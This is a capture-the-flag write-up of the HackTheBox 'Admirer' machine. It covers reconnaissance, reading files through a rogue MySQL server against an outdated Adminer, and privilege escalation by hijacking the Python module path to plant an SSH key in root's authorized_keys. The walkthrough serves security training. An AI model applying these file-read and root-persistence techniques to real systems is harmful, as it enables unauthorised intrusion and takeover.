HackTheBox - Admirer
Morten Hansen • January 30, 2022
Admirer
IP 10.10.10.187 NMAP
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
BROWSER
Checking the /robots.txt
mentioned in NMAP leads us to the directory admin-dir
. Running gobuster against the directory leads to two files contacts.txt
and credentials.txt
. http://10.10.10.187/admin-dir/contacts.txt
The contacts.txt
contained usernames and emails.
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb
##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb
#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
Email: b.rauch@admirer.htb
The crecentials.txt
contained
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
then going to ftp://10.10.10.187 and logging in with ftpuser
and password %n?4Wz}R$tTF7
gives us a two files to download.
dump.sql
and html.tar.gz
.
In the html-compressed folder there is a folder-structure with files. In the index.php file we can see the following credentials.
servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";
The folderstructe in the html-file reveals the folder utility_scripts
, with some files in it. Gobuster against this folder with a seclists wordlist reveals the file adminer.php
which is a mysql login solution.
After some googling it is obvious the version is outdated and vulnerable. https://paper.seebug.org/1113/
Downloading the rouge_server.py
script from https://github.com/allyshka/Rogue-MySql-Server allows us to create a sql-server from our machine. We then connect to our sql-server from the adminer-page (http://admirer.htb/utility-scripts/adminer.php?server=10.10.16.6&username=waldo). This is done by entering our own IP in the server
-field.
sudo netstat -tupln | grep 3306
shows us if our server is running, and ps aux | grep sql
allows us to find the PID if we need to kill the service with sudo kill -9 PID
. In the server.py-script we edit what file we want to read and restart the script with python2
.
By reading at the http://admirer.htb/utility_scripts/info.php
site we find out what the absolute path for apache is. We then use the script and insert '/var/www/html/index.php'
as a file we want to read. Inside the index.php
we find a username waldo
and password &<h5b~yK3F#{PaPB&dA}{H>
. This works with SSH and gives us access as the user Waldo.
We find two files (admin_tasks.sh and backup.py)
in the /opt/scripts
-folder that runs as root, but we can read. We can run the admin_tasks.sh
file. The script is as follow:
#!/bin/bash
view_uptime()
{
/usr/bin/uptime -p
}
view_users()
{
/usr/bin/w
}
view_crontab()
{
/usr/bin/crontab -l
}
backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
1) view_uptime ;;
2) view_users ;;
3) view_crontab ;;
4) backup_passwd ;;
5) backup_shadow ;;
6) backup_web ;;
7) backup_db ;;
*) echo "Unknown option." >&2
esac
exit 0
fi
# Interactive way, to be called from the command line
options=("View system uptime"
"View logged in users"
"View crontab"
"Backup passwd file"
"Backup shadow file"
"Backup web data"
"Backup DB"
"Quit")
echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
1) view_uptime ; break ;;
2) view_users ; break ;;
3) view_crontab ; break ;;
4) backup_passwd ; break ;;
5) backup_shadow ; break ;;
6) backup_web ; break ;;
7) backup_db ; break ;;
8) echo "Bye!" ; break ;;
*) echo "Unknown option." >&2
esac
done
exit 0
We see that in order to run options 4-7 we need to run as root. We also see that option 6 runs the backup.py
-script.
After som research we find out that Waldo
has some escalated privilages, after using sudo -l
we get.
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
This means we can set enviroments when running the sript. The content in backup.py
was:
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
In order to escalate privilages we need to run admin_tasks.sh
as root, and choose option 6. We then need to change the python path so that shutil
that gets imported is a function that we create. I solved it with this steps.
- 1 - Create a
shutil.py
file with a function calledmake_archive
in the/tmp
-folder. - 2 - We see from
backup.py
that it needs to take three arguments.
#file shutil.py
def make_archive(x, y, z):
import os #in order to run commands
os.system("mkdir /root/.ssh") #to create the ssh-folder
#import our pub-key into authorized_keys so that we can ssh in afterwards
os.system("echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjqFz8cYRIJmmhAGCEWGGvyUZdk3DRdw5uFkDHYXBCklDy/KDaNJSPpr/yc/DzdRsuDQIqE1jrrfqxZwztkSjIIg0THd/hrQ2WZh/sCE/H74CPHp0GUeB/HB6EOp8aHIHBecsK0Y1qiwiYGI5zgVeC01F3sqkHZSzHtyJRoqaHHipquwgQFYM6bprLpiiZnCk2ACw3V0bshs8J/032WUZ2cUWZNpBMlxwZXJ6OaZ4MF1abYISo4P35b5Pehza4Fx55LE+nEtc1m1kmnSqtVkPyB5f4Txv1D0nG2VH/sEpE6W4ern4ajH01p05JjUHw01mJObeGfVGoaPf5pCBSSNolENLbhzBBmnOaWAMfGJo88PP9YRuB6vc29Q95UFZEJX2+p26LAJFsphJ04w0YapAisBCtFp++ruRi0NvkBKSlI5WQoYdIIMLLRQp4WhKPkdUTEj3yjdflFalHnIEh0ryc8aVahBvVmBBGHLrEQKlyjHxDg2YDtGcZQEu6pm8a5XU= kali@kali' > /root/.ssh/authorized_keys")
This file creates an authorized_keys file with out public key, which allows us to log in as root over ssh after it has run.
* 3 - Run the admin_tasks.sh
as sudo with sudo PYTHONPATH=/tmp/opt/scripts/ ./admin_tasks.sh
and we set the python-path to /tmp
. Inside the tmp-folder
we have saved out shutil.py script.
- 4 - Choose option 6 in order to run
backup.py
and load our rouge python-module. - 5 - SSH in as root with
ssh root@10.10.10.187
We are root!